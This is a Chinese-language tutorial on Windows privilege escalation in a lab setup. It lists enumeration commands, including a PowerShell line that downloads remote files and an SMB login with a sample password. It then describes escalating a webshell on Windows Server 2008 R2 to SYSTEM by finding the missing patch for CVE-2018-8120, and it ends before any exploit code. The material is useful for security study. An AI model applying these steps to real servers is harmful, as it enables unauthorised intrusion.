一、描述

提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

提权 ,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

以下是Windows提权常用命令:

命令 描述
systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前帐户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view \127.0.0.1 会话打开到当前计算机
net session 开放给其他机器
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出服务任务
net start 列出启动的服务
dir /s foo 在目录中搜索包含指定字符的项目
dir /s foo == bar 同上
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印出内容
icacls “C:\Example” 列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装的布丁
(New-Object System.Net.WebClient).DownloadFile(“ ) 利用ps远程下载文件到本地
accesschk.exe -qwsu “Group” 修改对象(尝试Everyone,Authenticated Users和/或Users)

Windows中的权限划分:

  • User :普通用户权限
  • Administrator :管理员权限,可以利用Windows机制提升为System权限
  • System :系统权限
  • TrustedInstaller :删除系统文件所需要的权限

二、缓冲区溢出

缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。

更多参考:

三、实验环境
  • 网站:Windows2008 R2 + PhpStudy2018 PHP-5.2.17
  • 攻击机:Windows7

注意:使用PhpStudy搭建的网站在获取到webshell的权限默认为登陆用户权限,当前我们是administrator,这里我们利用内核提权将权限提升为system。

四、提权

在我们获取到webshell之后通过菜刀连接:

  • 查看当前权限:whoami
  • 查看系统信息:systeminfo > info.txt

1、查看系统信息

可以看到我们自己搭建的网站只打了两个系统补丁。

OS 名称:  Microsoft Windows Server 2008 R2 Enterprise 
系统类型: x64-based PC
[01]:KB2999226
[02]:KB976902

根据漏洞列表对比有哪些补丁没有打,对应os名称和系统类型进行提权:

漏洞列表:

  1. 先查看系统漏洞列表中与网站所对应的操作系统(2008 R2)
  2. 查看补丁编号 (CVE-2018-8120)前提是没有打这个补丁
  3. 找到与系统类型对应的exp (x64)

2、下载对应的exe程序


4、执行exp查看当前用户